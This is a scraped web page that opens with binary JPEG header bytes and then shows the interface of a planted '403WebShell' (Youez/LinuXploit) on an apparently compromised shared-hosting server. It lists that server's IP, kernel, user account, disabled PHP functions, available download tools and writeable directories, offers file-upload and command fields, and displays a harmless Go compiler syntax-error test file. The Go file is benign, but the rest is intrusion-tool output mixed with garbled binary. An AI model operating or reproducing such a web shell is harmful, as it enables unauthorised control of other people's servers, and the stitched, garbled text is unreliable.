JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 153.92.12.164  /  Your IP : 216.73.216.254
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/golang/1.22.0/src/cmd/compile/internal/syntax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/golang/1.22.0/src/cmd/compile/internal/syntax//error_test.go
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// This file implements a regression test harness for syntax errors.
// The files in the testdata directory are parsed and the reported
// errors are compared against the errors declared in those files.
//
// Errors are declared in place in the form of "error comments",
// just before (or on the same line as) the offending token.
//
// Error comments must be of the form // ERROR rx or /* ERROR rx */
// where rx is a regular expression that matches the reported error
// message. The rx text comprises the comment text after "ERROR ",
// with any white space around it stripped.
//
// If the line comment form is used, the reported error's line must
// match the line of the error comment.
//
// If the regular comment form is used, the reported error's position
// must match the position of the token immediately following the
// error comment. Thus, /* ERROR ... */ comments should appear
// immediately before the position where the error is reported.
//
// Currently, the test harness only supports one error comment per
// token. If multiple error comments appear before a token, only
// the last one is considered.

package syntax

import (
	"flag"
	"fmt"
	"internal/testenv"
	"os"
	"path/filepath"
	"regexp"
	"sort"
	"strings"
	"testing"
)

const testdata = "testdata" // directory containing test files

var print = flag.Bool("print", false, "only print errors")

// A position represents a source position in the current file.
type position struct {
	line, col uint
}

func (pos position) String() string {
	return fmt.Sprintf("%d:%d", pos.line, pos.col)
}

func sortedPositions(m map[position]string) []position {
	list := make([]position, len(m))
	i := 0
	for pos := range m {
		list[i] = pos
		i++
	}
	sort.Slice(list, func(i, j int) bool {
		a, b := list[i], list[j]
		return a.line < b.line || a.line == b.line && a.col < b.col
	})
	return list
}

// declaredErrors returns a map of source positions to error
// patterns, extracted from error comments in the given file.
// Error comments in the form of line comments use col = 0
// in their position.
func declaredErrors(t *testing.T, filename string) map[position]string {
	f, err := os.Open(filename)
	if err != nil {
		t.Fatal(err)
	}
	defer f.Close()

	declared := make(map[position]string)

	var s scanner
	var pattern string
	s.init(f, func(line, col uint, msg string) {
		// errors never start with '/' so they are automatically excluded here
		switch {
		case strings.HasPrefix(msg, "// ERROR "):
			// we can't have another comment on the same line - just add it
			declared[position{s.line, 0}] = strings.TrimSpace(msg[9:])
		case strings.HasPrefix(msg, "/* ERROR "):
			// we may have more comments before the next token - collect them
			pattern = strings.TrimSpace(msg[9 : len(msg)-2])
		}
	}, comments)

	// consume file
	for {
		s.next()
		if pattern != "" {
			declared[position{s.line, s.col}] = pattern
			pattern = ""
		}
		if s.tok == _EOF {
			break
		}
	}

	return declared
}

func testSyntaxErrors(t *testing.T, filename string) {
	declared := declaredErrors(t, filename)
	if *print {
		fmt.Println("Declared errors:")
		for _, pos := range sortedPositions(declared) {
			fmt.Printf("%s:%s: %s\n", filename, pos, declared[pos])
		}

		fmt.Println()
		fmt.Println("Reported errors:")
	}

	f, err := os.Open(filename)
	if err != nil {
		t.Fatal(err)
	}
	defer f.Close()

	ParseFile(filename, func(err error) {
		e, ok := err.(Error)
		if !ok {
			return
		}

		if *print {
			fmt.Println(err)
			return
		}

		orig := position{e.Pos.Line(), e.Pos.Col()}
		pos := orig
		pattern, found := declared[pos]
		if !found {
			// try line comment (only line must match)
			pos = position{e.Pos.Line(), 0}
			pattern, found = declared[pos]
		}
		if found {
			rx, err := regexp.Compile(pattern)
			if err != nil {
				t.Errorf("%s:%s: %v", filename, pos, err)
				return
			}
			if match := rx.MatchString(e.Msg); !match {
				t.Errorf("%s:%s: %q does not match %q", filename, pos, e.Msg, pattern)
				return
			}
			// we have a match - eliminate this error
			delete(declared, pos)
		} else {
			t.Errorf("%s:%s: unexpected error: %s", filename, orig, e.Msg)
		}
	}, nil, CheckBranches)

	if *print {
		fmt.Println()
		return // we're done
	}

	// report expected but not reported errors
	for pos, pattern := range declared {
		t.Errorf("%s:%s: missing error: %s", filename, pos, pattern)
	}
}

func TestSyntaxErrors(t *testing.T) {
	testenv.MustHaveGoBuild(t) // we need access to source (testdata)

	list, err := os.ReadDir(testdata)
	if err != nil {
		t.Fatal(err)
	}
	for _, fi := range list {
		name := fi.Name()
		if !fi.IsDir() && !strings.HasPrefix(name, ".") {
			testSyntaxErrors(t, filepath.Join(testdata, name))
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit